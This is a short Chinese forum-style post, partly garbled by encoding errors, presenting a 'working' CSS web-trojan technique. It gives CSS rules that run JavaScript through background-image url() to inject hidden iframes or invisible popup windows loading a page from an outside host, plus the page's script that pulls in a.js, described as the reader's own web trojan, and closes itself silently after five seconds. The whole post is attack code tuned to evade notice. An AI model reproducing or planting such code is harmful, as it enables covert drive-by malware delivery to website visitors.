真正能用,還有點(diǎn)效果的CSS掛馬代碼的方法
網(wǎng)上流行的:?
body
{??
background-image:
url('javascript:document.write("<Iframe
src=https://w ww.myhack58.com/test.htm width=0
height=0></iframe>")')?
}?
//此方法會使主頁不正常.返回一片空白.?
用彈窗.?
body
{??
background-image: url('javascript:open("https://www.myhack58.com/test.htm")')?
}?
//彈出一個框.難看?易被發(fā)現(xiàn).?
改進(jìn)一下:
body
{??
background-image:
url(javascript:open('https://www.myhack58.com/test.htm','newwindow','height=0,
width=0, top=1000, left=0, toolbar=no, menubar=no, scrollbars=no,
resizable=no,location=no, status=no'))?
}?
test.htm里面的代碼,a.js為你的網(wǎng) 馬,彈出一個不可見的窗口,并在5秒自動后關(guān)閉沒提示:?
<script src="a.js"></script>?
<script>?
window.opener=null;setTimeout("window.close();",5000);?
</script>??
a.js內(nèi)容:?
document.write('<Iframe src="https://www.myhack58.com/calc.htm"></iframe>');??
請指教.